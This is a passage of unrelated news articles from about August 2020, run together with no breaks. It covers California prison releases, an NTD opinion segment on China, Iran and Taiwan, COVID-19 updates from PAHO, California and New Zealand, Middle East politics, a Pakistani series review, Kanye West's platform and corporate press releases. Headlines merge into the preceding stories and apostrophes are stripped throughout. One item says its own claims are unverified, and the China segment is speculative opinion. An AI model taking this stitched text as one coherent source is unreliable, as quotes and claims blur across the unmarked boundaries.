it comes to human lives, said Michael Mendoza, who was sentenced to adult prison at age 15 for participating in a gang murder. Mendoza, now executive director of the advocacy group #cut50, served 17 years before overhauls targeting youthful offenders made him eligible for parole in 2014. He and others say studies have shown that those who have served long sentences already, whether their crimes were violent or not, are the least likely to reoffend at a rate less than 5%, and for some demographics as low as 1%. And when they do reoffend, it often is for nonviolent crimes, such as drug possession or theft. Some advocates contend that the pool of vulnerable inmates prioritized for early release should be expanded to include those with mental illness. Psychiatric services have been sharply cut back in many prisons dealing with outbreaks, they say, and suicides are a continuing problem. Michael Bien, a lawyer involved in a long-running federal lawsuit over prison medical care, said many inmates with mental health needs face a mix of physical and psychological danger that should be taken into account. Its like people locked in a closet in the middle of a fire, Bien said. We have to get them out of there. Condemned inmates are not eligible for COVID-19 emergency release, while those serving life sentences without possibility of parole can be freed only if the governor grants clemency. California has more than 5,000 people who are serving life sentences without the possibility of parole, including about 200 women the largest such population in the country, according to advocates. Others are also seeking clemency during the pandemic. At 71, Ameenah Rasul has been in the California Institution for Women since 1979, when she was convicted of first-degree murder and second-degree murder in two separate cases that occurred five years apart, both involving men who were shot in the head, according to media reports. Rasuls advocates said her crimes stemmed from being in an abusive relationship. Rasul said she dreams about simple things like scrambling her own eggs or crossing the street. She is seeking clemency for medical reasons, including requiring a walker for mobility. I have tried my best to better myself during the past 41 years by obtaining three associates degrees, completing countless self-help groups and have obtained great insight into my life as well as my crime, she said in an email. The opportunity to regain my freedom would mean that I would not be doomed to die in prison, but instead spend the last years of my life breathing the sweet air of freedom, she added. I would have a chance to regain my dignity. While Rasul awaits word on her clemency bid, prosecutors in Yolo County denounced the states decision to release Williams and another inmate convicted of unrelated violent crimes, with little advance notice and almost no explanation. At her trial in 2001, Williams told jurors that her boyfriend had threatened and stalked her, and that she killed him in self-defence. A psychotherapist testifying on her behalf said she suffered from post-traumatic stress disorder from multiple past rapes and abuse beginning when she was 11, but the court ruled the evidence of past trauma was not relevant and did not allow the jury to hear it, according to court records. The jury took little time to find her guilty. Everyone assumed she would never see freedom again, Yolo County Assistant Chief Deputy District Attorney Melinda Aiello told the Los Angeles Times, a week after Williams walked out of prison. While Corrections told us they were releasing her just a few days before, there is no transparency, and we have no other explanation for her release, Aiello said. There is no reason for failing to listen to the family of a victim who suffered truly horrifically. Corrections officials said Williams was released for medical reasons, but would not provide details about her condition. Yolo County Public Defender Tracie Olson confirmed Williams has a serious medical condition, and said her office has been working since 2018 to have Williams set free. Olson said Williams was the exact type of person that should be released early and that she believes Williams would have been freed under reforms for youthful offenders or a commutation presented to Newsom if the medical release had not happened. She did all the work you would want anyone to do, said Olson. In late July, the state also freed Santiago Cruz, 65, who was serving a 125-year sentence on his conviction for criminal threats in 1997 under Californias three-strikes law. Cruz repeatedly harassed his ex-wife, stalked her boyfriend and tossed a Molotov cocktail at their home as they slept, Aiello said. He also phoned the 18-year-old daughter of the new boyfriend and threatened to rape her while her father watched, kill her and then kill her father, Aiello said. Olson said Cruz is disabled and would have been eligible for parole in 2021. Aiello said Yolo prosecutors had to scramble to find Cruzs victims and warn them about his release. As in Williams case, Aiello said, the state provided no explanation. Cruzs ex-wife said she feels she is now the one in prison, according to a statement provided to the Yolo County district attorney. A dangerous person is being released into society again, and its not fair to her, Aiello said. China and Iran Alliance, Road to New Axis Powers? The China Angle with Simone Gao Hi, welcome to the China Angle. Im Simone Gao. China and Iran are in the final stages of signing a $400 billion deal, one that would challenge U.S. sanctions currently imposed on Iran. This deal is happening at a time when The Peoples Liberation Army of China has conducted multiple drills with large military dispatches on the South China Sea and Bohai sea and Chinese military aircraft have frequently been operating in airspace near Taiwan. What are the Chinese Communist leaderships intentions in this area? Does the U.S. have the will and capability to deter the CCP and their actions in the South China Sea and Taiwan? We will explore these questions in todays episode of the China Angle. We begin with Chinas interests in Iran. Irans foreign minister recently confirmed that the Iranian government is in the final stages of review on a proposed 25-year agreement between Tehran and Beijing involving a $400 billion Chinese investment. A leaked document provided more details on the agreement, including Chinas $280 billion investment in Irans oil and gas industry and $120 billion in production and transportation infrastructure. China will also develop 5G infrastructure in Iran and establish closer cooperation on defense and intelligence sharing. In turn, Iran will give China access to supplies of crude oil and gas at discounted prices for the next 25 years. The result would be what the two regimes are calling a strategic partnership. Why would the CCP suddenly choose to invest $400 billion in Iran? To answer that question, we need to consider their economic dealings with the United States. In 2018, Trump withdrew the US from the Iran nuclear deal and re-imposed sanctions on Iran. The sanctions were put in place to dissuade Iran from developing nuclear weapons capability and furthering its sponsorship of terrorism and widespread human rights abuses. According to the Iran Sanctions Act, the sanctions also applied to all countries purchasing oil from Iran. Countries like China, Japan, and India were given a six-month exemption from these sanctions, and while Japan and India did cut their imports of Iranian oil completely, China did not. In July 2019, the US government sanctioned the Chinese firm Zhuhai Zhenrong Company Limited and its chief executive for knowingly purchasing or acquiring oil from Iran after the sanction waiver had expired. For decades, the Chinese regime has been Irans top trading partner and a key market for Iranian crude oil exports. The CCP has also facilitated Irans military modernization and aggressions in the Middle East through arms sales and defense cooperation. Yet, these actions had previously been done behind the scenes. Should this new deal be finalized, it would publicly announce China as the key investor in Irans nuclear development and directly challenge the US sanctions. The question is: Why now? Heres what I think. The proposed deal may be the CCPs latest attempt to expand from a regional hegemony to a world power willing to directly challenge the US. As an isolated country locked in conflict with the US, Iran is the CCPs perfect partner. This deal would also expand Chinas influence in the Middle East. And the deal fits the framework of the Belt and Road Initiative, positioning China to help Iran develop a major port near the mouth of the Strait of Hormuz, where most of the worlds oil exports pass. Sound familiar? The CCPs ultimate goal will not end at trade or economic benefits. The Communist regime often invests heavily in countries they know will not have the means to pay back the investment. When that inevitably happens, the CCP takes a port or a territory as payment. Whether that will happen in this case is unknown, but the possibility that they may be able to control the Iranian coast and have more strategic leverage in the area is enough for them to justify the investment. This leads me to our second topic today: The South China Sea. What might the China-Iran deal have to do with the South China Sea? It may tie directly to Chinas militarization of islands in order to control shipping channels. Most of Chinas crude oil imports from the Middle East pass through the regions main gateway, the Malacca Strait. This vital maritime choke point is an essential economic artery for China. Naturally, as China relies more on Iranian oil, the regime will do whatever is necessary to consolidate more power over the South China Sea in order to safeguard this shipping lane. This means imports and exports from the Persian Gulf passing through the South China Sea could be regulated by a reinforced Chinese presence. Chinese military bases positioned near the Indo-Pacific nations eliminate those nations ability to block Iranian oil tankers, even if that is a direct violation of the US sanctions. This imbalance in regional power and control over shipping channels has caused significant harm to international trade. Yet, western democracies have previously allowed the CCP to unlawfully assert its sovereignty in the region. The US has finally realized the impacts of these practices, recognizing that the freedom of Asean nations and even the future of international order is at risk. Secretary of State Mike Pompeo declared that Beijings claims to offshore resources across the South China Sea are unlawful. He reaffirmed that America stands with its regional allies in defense of freedom of the seas and opposes any attempt to use coercion or force to settle disputes. Recently, both the US and China held military drills on the South China Sea. While their actions are similar, their intentions are likely very different. For the US, these drills align with the Trump administrations stated intention: to directly confront an aggressive Chinese regime and defend the sovereign rights of US allies to offshore resources protected under international law. For the Chinese Communist Party, these drills serve two purposes. First, to more fully assert their control in the region and over the passage of trade and, second, to blockade Taiwan. As social media videos demonstrated and Chinese state media later confirmed, the CCP did so with an overt show of force, including the use of amphibious tanks, infantry fighting vehicles and self-propelled artillery, from July 24 to August 2 in Guangdong Province, close to the South China Sea. What does all this mean? Could President Xi Jinping be preparing to take Taiwan by force? I believe that war in the Taiwan Strait is a likely decision for Xi Jinping. In fact, Xis ambition to subjugate Taiwan can be traced back to the 2015 Chinese PLA reform. Despite its public portrayal as an anti-corruption campaign, the reform was clearly aimed at restructuring the PLA in order to create a leaner military force with improved joint operations capabilities. Drawing from the US military structure, the reform centered on establishing a military structure capable of international conflict by 2020. In addition, the Chinese government recently hardened its rhetoric towards Taiwan. In Premier Li Keqiangs annual work report this year, he did not reference a peaceful reunification as did previous premiers. This change of tone reflects the stronger stance the Chinese top leadership are adopting in tackling the Taiwan issue. That means peaceful reunification is no longer a popular opinion in the communist leadership, especially after the CCP-backed KMT candidate Han Kuo-yu lost in the 2020 Taiwan election. Though frequent military drillsincluding the Bohai Sea drill in May, the Xisha Islands drill in July, or the latest one in the Leizhou Peninsulamight not seem like much on a surface level, all of them were carried out near Chinese coasts, providing just enough access to deploy military forces and mobilize armors. How so? It would be impossible to carry out an amphibious attack on Taiwan in secret. Such a battle would require mobilizing forces of at least 100,000 soldiers. In order to be more covert with their intentions, then, the CCP deployment of troops under the guise of military drills was necessary. Judging from the frequency of the latest exercises, it is highly likely that Xi Jinping has decided to resolve the Taiwan issue by force during his term. One such exercise, carried out on July 17, involved eight Chinese fighter jets flying over a key military base in the disputed Xisha Yongxing Island. At least four of them appeared to be J-11Bs. These jets were likely deployed during the Xisha military drill in July. Their presence points to growing mobilization of Chinese forces in the South China Sea, as well as visible military pressure on Taiwan. If pointed west, these forces could confront the US on the South China Sea, and if pointed east, they could threaten Taiwans southwest airspace. What triggered the Chinese regime to ramp up its military presence? A key factor may be the Trump administrations recent, striking change of tone. For the past 40 years, the CCP has been involved in international exploitation for its expansionist plan through soft means: diplomatic, psychological, informational, and economic warfare. And they have gotten away with it. Now, the Trump administration is not only demanding accountability for this unfair behavior but is also hardening its resolve to defend Taiwan. Given this, there are likely to be elements within the CCP leadership that are very concerned that action needs to be taken now. I believe the Trump administration is starting to establish a more coordinated strategy to defend Taiwan. There is no doubt that more must be done. It is likely that the Chinese Communist Party will respond by becoming more confrontational towards the US, as evidenced in the forming of a strategic partnership with countries like Iran and Pakistan. Are we going to see the road to the Axis powers during the world war II. Thats probably the next thing to watch out for. This has been the China Angle. Im Simone Gao. Thanks for watching,, and see you next time. Subscribe for updates on YouTube and follow us on Facebook. Official website: https://www.ntd.com/zooming-in Follow Simone on Twitter: @ZoomingIn_NTD. Download our new podcast, now available on iTunes, Spotify, and Google. [The stream is slated to start at 11:00 a.m. ET. Please refresh the page if you do not see a player above at that time.] Pan American Health Organization officials are holding a press conference to update the public on the coronavirus outbreak in the Americas. The U.S., Brazil and Mexico rank among the countries with the highest numbers of reported coronavirus cases across the globe, according to Johns Hopkins University. Carissa Etienne, director of PAHO and World Health Organization regional director for the Americas, is scheduled to speak alongside other PAHO officials. On Monday, the WHO said there are signs of hope in the fight against the coronavirus, though there are now more than 20 million reported cases of Covid-19 across the globe and at least 737,000 deaths. The U.S., Brazil and Mexico have reported more than 40% of the world's total coronavirus deaths, per Johns Hopkins' data. "I know many of you are grieving and that this is a difficult moment for the world," WHO Director-General Tedros Adhanom Ghebreyesus said during a press conference from the agency's Geneva headquarters. "But I want to be clear, there are green shoots of hope, and no matter where a country, a region, a city or a town is, it's never too late to turn the Covid-19 outbreak around." PAHO's press briefing also comes after Russian President Vladimir Putin announced the registration of what Russia claims to be the first vaccine for the coronavirus in the world. CNBC's Berkeley Lovelace Jr. contributed to this report. Read CNBC's live updates to see the latest news on the Covid-19 outbreak. The Iranian Revolutionary Guard has recruited children under the age of 16 to fight against the Islamic State in the al-Bukamal desert reports Baladi News. Several days ago, Iranian militias began establishing camps to recruit and train children in the city of Palmyra in the eastern countryside of Homs. According to local sources, the Iranian Revolutionary Guard began establishing a military base in Palmyra, which includes training and recruitment camps for children. The sources added that Iranian militias are seeking to recruit minors in the eastern Homs countryside into their ranks. Last month, Iranian militias recruited dozens of children, who are under the age of 16, from the city of al-Bukamal, after they attended training sessions on the use of weapons. The Iranian militias tricked the children into thinking that they would be guarding their headquarters or working at the checkpoints in al-Bukamal, before being driven to the al-Bukamal desert to fight the Islamic State. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. What could be a better title for a web series about outspoken women than Churails(Witches), a label our society punches on to any woman who knows her mind? The women on Zee5s new show wear the sobriquet as a badge of honour as they go about smashing patriarchy from behind their burkhas. Churails, the first made-in-Pakistan project to feature a lesbian relationship, is written and directed by British-Pakistani filmmaker Asim Abbasi (Cake). Abbasi adroitly subverts patriarchy with its own tool -- the burkha. Four women, who have all faced the brunt of patriarchy, run a detective agency behind the facade of a burkha boutique, deliciously named Halal Designs. They, and the other women featured in the show, are not only demanding their basic human right of being able to live with dignity, but insist on being independent, assertive, and unapologetic about their sexuality. A burkha-clad boxer, a trophy wife, a single rich woman and a murder convict run the detective agency that aims at catching philandering husbands. Their back stories add nuance to the story, giving us a better understanding of the milieu while two come from privilege, one hails from a rather humble financial background and the fourth one is an ex-convict who spent 20 years in prison. Told in non-linear flashbacks, each episode -- of the four submitted for this review reveals how the group of four are tied by the same thread. The writer-director uses interesting imagery to underline the ideas of rebellion in a patriarchal set-up. The four leading ladies literally wear their burkhas like a superheros capes as they head for their missions. The burkha is not imposed upon them by men, it is their armour. The women in Churails are not shown smoking or drinking just because it is cool to do so. He shows the addiction as a vice, not a virtue or a sign of feminism. Interestingly, for the Indian audience, Churails is full of very typical Indian pop culture references. In fact, poplar songs Kaala Re (Gangs of Wasseypur) and Dar Dada Dasse (Udta Punjab) are used as background scores in two important sequences of the series. Asim, a self-confessed fan of Hindi movies, has also added a dash of comic relief to an intense scene in the series with a decidedly Bollywood touch. When the Churails team is rescuing a daughter (from her forced nikah), one of the women hold a knife to the fathers neck and insists that he tells the daughter, Jaa jee le apni zindagi. Also read: Gunjan Saxena review: Janhvi busts boys locker room in proud Netflix film Churails does seem slightly dramatic at certain places but the stunning performances of the lead actors keeps you glued. Meher Bano, Yasra Rizvi and Sarwat Gilani slip perfectly into their characters. However, it is Nimra Bucha, essaying the role of hardened criminal - a murder convict - who is ready to kill (again) for any injustice meted out to women, who deserves a special mention. Her mere presence will run chills down your spine. The first half of the series certainly promises an engaging watch. These churails are not going anywhere. Interact with the author @swetakaushal Follow @htshowbiz for more SHARE THIS ARTICLE ON SACRAMENTO, Calif. - A day after announcing that Californias public health director suddenly resigned, Gov. Gavin Newsom on Monday dodged questions about her departure even as he stressed the importance of transparency and accountability. Decisions were made, and were moving forward, he said of the Sunday night resignation by Dr. Sonia Angell. No ones trying to hide that, no ones trying to mask that. Were owning that. The remarks came during Newsoms first news conference since county and state health officials revealed the data error, which led to a lag in the reporting of nearly 300,000 coronavirus test results. He last spoke to the public one week earlier. The backlog has been resolved and the state expects to be able to finish updating its statewide virus trends in the next two to three days, he said. In a letter to staff, Angell did not give a reason for her resignation as director and state public health officer at the California Department of Public Health. The state released the letter Sunday night. Newsom did not answer Monday when reporters inquired whether he asked her to resign. But he said that he and Dr. Mark Ghaly, secretary of the California Health and Human Services Agency, made changes and adjustments to the states leadership team. Angell could not be reached for comment. Two county public health officials said Angell had been a collaborative partner to local officials throughout the pandemic. She wrote a resignation letter, and I accepted her resignation. Were all accountable in our respective roles to what happens underneath us, he said. If its not obvious, then I encourage you to consider the fact that we accepted her resignation. When the pandemic began, Angell appeared often during news conferences about Californias response to the coronavirus, but her presence at Newsoms briefings diminished as time went on. Sandra Shewry, vice-president of external engagement for California Health Care Foundation, will fill the role of acting health director, the health and human services department said. Dr. Erica Pan, who was recently appointed state epidemiologist, will be the acting state public health officer. Ghaly announced the backlog in data last week. The problem affected the California Reportable Disease Information Exchange, known as CalREDIE. The state eliminated the backlog over the weekend and counties will now be able to process the data, he said. Newsom said the newly added data doesnt appear to change the positive trends he announced last week. As of Monday, the states hospitalizations decreased 19% over a two-week period and ICU admissions were down 13%. The state will recalculate the test positivity rate, a key indicator of how widespread the virus is, within two to three days after counties finish processing the backlogged data. All of those data pieces are used to determine when businesses and schools can reopen and which counties stay on the states county watch list. Statewide, more than 10,300 people have died from the coronavirus, with the great majority in Los Angeles County. There are more than 560,000 confirmed coronavirus cases in California, according to state data. The number of infections is thought to be higher because many people have not been tested, and studies suggest people can be infected with the virus without feeling sick. For most people, the coronavirus causes mild or moderate symptoms, such as fever and cough that clear up in two to three weeks. For some especially older adults and people with existing health problems it can cause more severe illness, including pneumonia, and death. Dr. Matt Willis, the health officer in Marin County, said he was shocked by the news of Angells departure. Speaking for at least the regional health officers, we had a lot of respect for her approach and felt supported by her, Willis said. Though the state has corrected the data error, Riverside County will perform quality assurance checks to make sure its perfect before updating the countys virus trends, said Kim Saruwatari, the countys public health director. She said the county is getting what seems to be good data now, without any duplicate or false positive test results. The state acted really quickly once it was raised to the high level, she said. Dr. Eric Topol, head of the Scripps Research Translational Institute in San Diego, said the data collection problem was part of a bigger issue: The states failure to stay closed longer. California appeared to be on a golden path by shutting down early and leading the way nationally in efforts to contain the virus, but has made one mistake after another since Newsom began allowing more sectors of the economy to reopen, he said. The surge of cases that followed was compounded by more deaths, inadequate testing to identify cases and try to control the spread, and having more data than the state could process. Its not just reopening early that led to a surge but reopening early led to a lack of data flow that was optimal. This is far from optimal. This is embarrassing, he said. He noted that its surprising that California, which has the best information technology concentration in the world, was unprepared. Newsom said the state must improve its IT system around infectious disease reporting. Since his election, hes undertaken numerous revamps of the IT systems. The Employment Development Department, which is under fire for slowly processing unemployment payments, is expected to put out a contract for a major IT overhaul in October. ___ Associated Press writer Janie Har contributed to this story from San Francisco. US Democratic Party presidential nominee Joe Biden chose California Sen. Kamala Harris as his running mate today. In her time in the Senate, Harris has taken positions on the Middle East that line up with Bidens and the Democratic establishment. On Iran, a spokesman for Harris told Al-Monitor last year that she would rejoin the 2015 Iran nuclear deal if elected president. (She dropped out of the presidential race in December). US President Barack Obama, under whom Biden served as vice president, negotiated the deal aimed at ending Irans pursuit of a nuclear weapon diplomatically. Trump withdrew the United States from the agreement in 2018 and reimposed harsh sanctions on the Islamic Republic. Harris has also voted against US military sales to Saudi Arabia and opposes the Gulf countrys war on Iran-backed forces in Yemen. On Syria, Harris criticized Trump for allowing Turkey to attack US-backed Kurdish forces in northeast Syria last year. In a presidential debate in November, she hammered Hawaii Rep. Tulsi Gabbard for refusing to label Syrian President Bashar al-Assad a war criminal." On Israel, Harris has spoken at the American Israel Public Affairs Committee (AIPAC) conference. Other, more progressive presidential candidates, such as Sen. Bernie Sanders, have refused to address the powerful, pro-Israel lobbying group. Some Democrats further to the left have adopted more pro-Palestine positions. One example is incoming Rep. Jamaal Bowman, who defeated House Foreign Affairs Committee Chairman Eliot Engel in New York's June primary. Harris received criticism from progressives for meeting AIPAC leaders in her office in 2019. In June, she urged US President Donald Trump to oppose Israeli annexation of Palestinian territory in the West Bank. Harris also supports recognizing the Armenian genocide. These views resemble those of Biden. As vice president, Biden was involved in negotiating the Iran deal that Harris wants to return to. Biden supports the US-Israel relationship, but has also called for the United States to restore aid to the Palestinian Authority that Trump ended. In a November debate, he vowed to stop military sales to Saudi Arabia over the death of Washington Post columnist Jamal Khashoggi. There appears to be a shift in policy of Saudi Arabia towards Pakistan. The differences in their relations surfaced when Pakistan was made to pay back US $1 billion to Saudi Arabia last week. Pakistan has also not received the oil on deferred payments from Saudi Arabia since May as a deal signed between the two close allies for provision of US $3.2 billion worth of the fuel under the arrangement expired two months ago. Here are the developments in the past few months which are being keenly watched: Pakistan has been insisting that Saudi Arabia should allow it to marshal the support of the Islamic world on the Kashmir issue. In February, it had asked for a meeting of the Organisation of Islamic Cooperation (OIC) on the issue, but Saudi Arabia turned down the request. The OIC is a group of 57 Muslim countries in which Saudi Arabia holds considerable sway. Pakistan foreign minister Shah Mehmood Qureshi has been openly demanding that Saudi Arabia should convene an OIC council meeting on Kashmir after Indias move to scrap Article 370 which gave special status to the erstwhile state. Qureshi even criticised Saudi Arabia for not heeding to its request. In a television interview, he said that if Saudi Arabia cannot support Pakistan, it will call a meeting of those Islamic countries who stand with us on the Kashmir issue. But the remarks drew criticism at home, with some experts saying Qureshi should have been careful. It should not have been expected that as Saudi Arabia is a friend of Pakistan so it will automatically be against Indias stance on Kashmir. This is not a college but an international arena, a Pakistani journalist Amir Mateen was quoted as saying by news outlets in the country. Saudi Arabias crown prince Muhammad bin Salman had signed memorandums of understanding (MoUs) worth US $20 billion during his visit to Pakistan in February 2019. Experts feel Pakistans continued insistence could jeopardise this entire investment; they say that the present dispensation in Islamabad should handle the issue carefully because prince Salman is young and has impulsive behaviour. After Pakistan failed to gather support from the OIC members on Kashmir on May 22, Prime Minister Imran Khan had said, The reason is that we have no voice and there is a total division amongst (us). We cannot even come together as a whole on the OIC meeting on Kashmir. Other experts say that even China is wary and treading a cautious line not to become involved in the Middle Eastern politics. Pakistan has already returned US $1 billion Saudi loan - four months ahead of its repayment period - a news report said. Citing sources, it said Pakistan could also return the remaining US $2 billion cash loan, subject to availability of a similar facility from China. The agreement over US $3 billion cash support and US $3.2 billion oil facility per annum had the provision of renewal for two more years. The UAE had also announced a US $6.2 billion package for Pakistan in December 2018, including a US $3.2 billion oil facility. But later on, the UAE reduced its financial assistance to US $2 billion and also shelved the plan to give a US $3.2 billion oil facility on deferred payments. TVA announced Tuesday that it is joining an energy industry effort to develop low-carbon energy technologies of the future. Through an unprecedented partnership with the Electric Power Research Institute, Gas Technology Institute and other utilities across the country, the Low-Carbon Resources Initiative will advance clean power and decarbonization technologies for deployment in the 2030 to 2050 timeframe. TVA is supplying clean energy today and is building the energy system of the future, said Dr. Joe Hoagland, TVA vice president for Innovation & Research. TVA and our EPRI partners are focusing research dollars on technology that will continue to promote a cleaner energy future across the nation for decades to come. As an innovation leader, TVA recognizes the need to rethink the carbon problem through a team approach that obtains results beyond the reach of todays technology, said Dr. Hoagland. Sharing TVAs research on technologies, such as advanced nuclear, battery storage, grid modernization and electric vehicles and learnings from our industry partners will ensure clear solutions to successfully lower carbon emissions around the world. Chief Sustainability Officer Rebecca Tolene said, TVA is already on pace to reduce its greenhouse gas emissions to 70 percent below 2005 levels by 2030. By collaborating with industry partners in this initiative, we are now looking at what will be achievable beyond 2030. TVA is a national leader in carbon reduction in its current operations double the national utility average. According to the recent TVA Sustainability Report, the utility reduced its carbon output by nearly 60 percent in the past 15 years by boosting power generation from carbon-free nuclear, hydro and solar sources. This year, TVA is on track to have over 60 percent of its electricity come from carbon-free generation. TVA will be investing $5 million over the next five years to support technology development through the initiative. Nearly 90 years ago, TVA used hydro power the latest technology of the day to make life better for the people of our region, said Dr. Hoagland. Once again, TVA is on the forefront to lead the technology revolution in the utility industry by developing technologies that will help drive our nation to a cleaner energy future. TVA established its Innovation & Research organization to work with industry partners to stay on the forefront of low-carbon technology. Other partners in the Low-Carbon Resources Initiative are American Electric Power, Con Edison, Dominion Energy, Duke Energy, Exelon Corporation, Lincoln Electric System, Los Angeles Department of Water & Power, Missouri River Energy Services, Mitsubishi Hitachi Power Systems, Americas, National Fuel, New York Power Authority, Portland General Electric, PPL Corporation, Salt River Project, SoCalGas, Southern California Edison and Southern Company. Kanye West speaks on stage at the "Kanye West and Steven Smith in Conversation with Mark Wilson" in New York City on Nov. 7, 2019. (Brad Barket/Getty Images for Fast Company) Kanye West Unveils 10-Point Presidential Platform Vowing to Project Strength, Not Aggression Billionaire rap mogul and long-shot White House hopeful Kanye West has released a 10-point presidential platform, punctuated by Biblical references, incorporating America-first themes, and centered on Creating a Culture of Life. Wests platform was unveiled on his official campaign website on Tuesday, featuring a photo of his 2020 vision board. It prominently displays an image of Jesus Christ, a dove representing peace, and two eagles suggestive of American patriotism, along with the number 46, as an electoral victory would make him the 46th president of the United States. His plan mirrors some of President Donald Trumps policy aims, like restoring the national economy and ending U.S. involvement in endless foreign wars. Ensure that we always place Americans best interest first and foremost in dealing with foreign affairs. We must project strength, not aggression, one of the points states, while another calls for a strong national defense, fully prepared, but not so quick to tie up our countrys young men and women in foreign quagmires that do not advance our national interest, and which last for decades. At the top of Wests platform is the call to restore faith and revive our Constitutional commitment to freedom of religion and the free exercise of ones faith, an aim he plans to advance by bringing prayer back into classrooms and exposing learners to spiritual foundations. The religious theme featured prominently in his campaign launch last month in South Carolina, when he repeatedly circled back to his faith and broke down in tears when he talked about abortion. We are all equal in Gods eyes, he said. Sometimes people are controlled by demons, sometimes people are controlled by the environment that we are in but we are all Gods people. During a particularly emotional moment at the Charleston event, West revealed he and wife Kim Kardashian once considered terminating a pregnancy but she chose not to based on what he believes was divine intervention. And I called my wife and she said, were gonna have this baby. I said were gonna have this child So even if my wife were to divorce me after this speech, she brought North into the world when I didnt want to. She stood up and she protected that child, he said. Under Wests leadership, Americas children can expect the widest possible range of educational and vocational paths to job opportunities and career success, according to point three of his agenda. His platform also touches on criminal justice reform, vowing that with West in the Oval Office, the legal system would be reformed in a way to provide true justice, equitable for all citizens, regardless of race or ability to defend oneself in court. Regarding police reform, Wests agenda calls for policing that treats all Americans the same, regardless of race, color or ethnicity, while calling on police to concentrate their resources on real crime. West also promises to take care of the environment, diligently pursuing clean air and water as a national security priority and making renewables top priority. The final point of his plan is a nod to his iconic musical career, suggesting that, Creativity and the Arts can be an important source of innovation and development of other national strengths and resources. Some view Wests campaign with suspicion, with a top Democrat recently claiming theres no question his run for the White House is meant to siphon black votes from presumptive Democratic nominee Joe Biden. Once a vocal Trump supporter who adorned himself in MAGA apparel, West told Forbes in an interview last month that he no longer backed the president, saying hes taking the red hat off. Trump last month described Wests campaign as very interesting. New Zealand Covid-19 alert levels will be raised from noon on Wednesday after a family has tested positive for Covid-19. Prime Minister Jacinda Ardern says Auckland will move to Alert Level 3 for three days from 12noon tomorrow Wednesday August 12 until midnight on Friday, after a family of four tested positive for Covid-19. The rest of New Zealand will go into level 2 from midday tomorrow, the same time as the change for Auckland. The Prime Minister has announced four confirmed cases of COVID-19 in one family from an unknown source. The index case is a person in their 50s who lives in South Auckland. They were swabbed yesterday, and the swab was processed twice, says a Ministry of Health spokesperson. A second swab, taken today confirms the positive result. The person has been symptomatic for five days and was interviewed this evening by the Auckland Regional Public Health Service. The Ministry of Health says that the person has no overseas travel history. As is our usual protocol we are continuing to trace close and casual contacts of this person and test them for COVID-19. This has included household contacts of the case who received a rapid test this evening. Three of these tests have also come back positive and three are negative, says a Ministry of Health spokesperson. All close contacts of the four cases will remain in self-isolation for 14 days, regardless of their test result, and all casual contacts will remain in self-isolation until they have the results of their test. In addition, we are working over the next few days to test all people that are working at our borders and everyone that works at a managed isolation facility. There will also be no barriers to anyone that has cold and flu symptoms getting tested, and testing is free. Ive said it previously, but its even more relevant now, if you are offered a test, please take it, says Director General of Health Dr Ashley Bloomfield. In Auckland the four community testing centres in Northcote, Grafton, Henderson and Wiri will be operating with more staff and extra hours. The testing centres in Auckland, Waitemata and Counties Manukau are all prepared for receiving more people. The three DHBs in Auckland are planning pop up clinics over coming days and they will publicise the locations and hours of these clinics. The Ministry will be working closely with DHBs and primary care around the country to ensure additional testing capacity is available to meet an expected increase in demand. As weve been saying for several weeks, it was inevitable that New Zealand would get another case of community transmission, says a Ministry of Health spokesperson. We have been working on the basis that it could be at any time and that time is now. The health system is well prepared for this eventuality and the important thing now is that we dont let the virus spread in our community. As we did in the early days of this virus emerging, we need to stamp it out. The Ministry of Health advises that there are things that every single New Zealander needs to do now: continue stringent hand hygiene sneeze and cough into your elbow. if you or a family member are unwell stay home and contact Healthline or your GP about getting a test practice physical distancing of two meters wherever possible consider wearing a mask in public spaces or places where it is hard to physically distance. If you have any concerns please seek advice from Healthline or your GP on getting a test. If you have not already, please use this opportunity to download the NZ COVID Tracer app. This will give us your up-to-date contact details, so if we need to get in touch with you for contact tracing purposes, we can do so quickly, says a Ministry of Health spokesperson. If you have fallen out of the habit of recording your movements as you go about your day, this case is a reminder of why it is so important. The NZ COVID Trace app is has a manual function to record where people have been recently, and there is an option to scan in using QR codes going forward. A reminder too, for businesses please have a QR code displayed so your customers can be traced quickly if required, says Dr Bloomfield. Our contact tracing team will be getting in touch with anyone identified as being a contact of this case. Please be responsive if you are contacted return the call. As is their usual protocol the Ministry of Health are tracing all close and casual contacts of the four cases, and getting them tested for COVID-19. All close contacts will remain in self-isolation for 14 days, and all casual contacts will remain in self isolation until they have returned a negative test. This case is a wake-up call against any complacency that may have set in. We cannot afford to let this virus spread, says Dr Bloomfield. We have seen how quickly it can lead to a wider resurgence in communities overseas. Places that have had COVID-19 under control have seen flare-ups and gone back into a full lockdown. We are working to not let that happen here. Weve done this before and we can do it again. Further information will be available from Wednesday August 12. DENVER, Aug. 11, 2020 /PRNewswire/ -- Bron Tapes, Inc. (Bron Tapes) has debuted a new website aimed at better serving customers through an application driven approach. This improved design comes with a long-practiced commitment to finding the right sticky solution. The updated brontapes.com design showcases dozens of applications from abating and restoring to weatherproofing and wrapping, and everything in-between. A powerful search function also drives the site, which allows customers to search for a characteristic, application, or BT-number and find tapes that best match the criteria. A first for Bron Tapes, the website also boasts an online catalog with 115 Bron Tapes products. The interactive catalog provides additional product detail and will serve as a resource and reference for current and future Bron Tapes customers. "We are extremely excited to launch the new Bron Tapes website and online product catalog. For over 40 years our application-driven focus sets Bron Tapes apart and allows our highly trained Application Specialists to find the best solution to the sticky problems our customers face. The search features we developed on the new website and digital catalog provide a robust tool to research the best candidate tape(s) for your specific application. As the premier producer, distributor and converter of pressure sensitive tapes in North America, we aren't looking to just sell tape we want to bring value to each and every one of our customers through innovative products and impactful solutions." Mike Shand, CEO About Bron Holding, Inc.: Bron Tapes, Inc., Bron Aerotech, Inc. and Bron Converting, Inc. comprise the Bron Holding, Inc. family of companies. Industrial application solutions and products are supplied by Bron Tapes, while the Space, Aerospace & Defense markets are serviced by Bron Aerotech. Custom converting services such as laminating, rewinding, die-cutting, kitting, precision slitting, printing and custom packaging are supplied to all markets by Bron Converting. About Bron Tapes, Inc.: Domestically, Bron Tapes operates ten (10) industrial branch locations with Headquarters in Denver, Colorado home to Bron for 43 years. Our Application Specialists operate from individual Branch locations and Markets. Globally, Bron supports Customers in more than 50 countries. Our proprietary products are complemented by a wide range of Manufacturer Partner-branded materials. Bron Tapes, Inc 875 W. Ellsworth Ave Denver, CO 80223 (888) 877-BRON (2766) [email protected] SOURCE Bron Tapes, Inc. Related Links https://brontapes.com Kochi, Aug 11 : The Chennai headquartered Central Institute of Brackishwater Aquaculture 